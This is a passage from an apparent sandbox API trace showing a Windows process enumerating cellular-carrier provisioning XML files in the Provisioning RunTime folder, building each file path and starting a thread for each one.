out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.731] wcscat (in: _Dest=0x341aba0, _Source="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" [0084.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341aba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0084.732] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="104__C~1.PRO")) returned 1 [0084.732] wcscmp (_String1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.732] wcscmp (_String1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x341ad00 [0084.732] wcscpy (in: _Dest=0x341ad00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.732] wcscat (in: _Dest=0x341ad00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.732] wcscat (in: _Dest=0x341ad00, _Source="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" [0084.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341ad00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0084.733] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="105__C~1.PRO")) returned 1 [0084.733] wcscmp (_String1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.733] wcscmp (_String1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33f9280 [0084.733] wcscpy (in: _Dest=0x33f9280, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.733] wcscat (in: _Dest=0x33f9280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.733] wcscat (in: _Dest=0x33f9280, _Source="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" [0084.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0084.734] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="106__C~1.PRO")) returned 1 [0084.734] wcscmp (_String1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.734] wcscmp (_String1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x341ae50 [0084.734] wcscpy (in: _Dest=0x341ae50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.734] wcscat (in: _Dest=0x341ae50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.734] wcscat (in: _Dest=0x341ae50, _Source="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" [0084.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341ae50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0084.735] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="107__C~1.PRO")) returned 1 [0084.735] wcscmp (_String1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.735] wcscmp (_String1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x33f93d8 [0084.735] wcscpy (in: _Dest=0x33f93d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.735] wcscat (in: _Dest=0x33f93d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.735] wcscat (in: _Dest=0x33f93d8, _Source="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" [0084.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f93d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0084.735] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="108__C~1.PRO")) returned 1 [0084.736] wcscmp (_String1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0084.736] wcscmp (_String1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0084.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x341af98 [0084.736] wcscpy (in: _Dest=0x341af98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.736] wcscat (in: _Dest=0x341af98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.736] wcscat (in: _Dest=0x341af98, _Source="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0084.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341af98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0084.736] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="109__C~1.PRO")) returned 1 [0084.736] wcscmp (_String1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.736] wcscmp (_String1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x33f8e78 [0084.736] wcscpy (in: _Dest=0x33f8e78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.737] wcscat (in: _Dest=0x33f8e78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.737] wcscat (in: _Dest=0x33f8e78, _Source="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" [0084.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0084.737] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="10__CO~1.PRO")) returned 1 [0084.737] wcscmp (_String1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.737] wcscmp (_String1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x341b0c8 [0084.737] wcscpy (in: _Dest=0x341b0c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.737] wcscat (in: _Dest=0x341b0c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.738] wcscat (in: _Dest=0x341b0c8, _Source="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" [0084.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341b0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0084.738] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="110__C~1.PRO")) returned 1 [0084.738] wcscmp (_String1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.738] wcscmp (_String1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x341b218 [0084.738] wcscpy (in: _Dest=0x341b218, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.738] wcscat (in: _Dest=0x341b218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.738] wcscat (in: _Dest=0x341b218, _Source="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" [0084.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341b218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0084.739] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="111__C~1.PRO")) returned 1 [0084.739] wcscmp (_String1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.739] wcscmp (_String1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x341f8c8 [0084.739] wcscpy (in: _Dest=0x341f8c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.739] wcscat (in: _Dest=0x341f8c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.739] wcscat (in: _Dest=0x341f8c8, _Source="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" [0084.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341f8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0084.740] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="112__C~1.PRO")) returned 1 [0084.740] wcscmp (_String1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.740] wcscmp (_String1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x341fa18 [0084.740] wcscpy (in: _Dest=0x341fa18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.740] wcscat (in: _Dest=0x341fa18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.740] wcscat (in: _Dest=0x341fa18, _Source="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" [0084.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341fa18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0084.741] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="113__C~1.PRO")) returned 1 [0084.741] wcscmp (_String1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.741] wcscmp (_String1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x341fb78 [0084.741] wcscpy (in: _Dest=0x341fb78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All 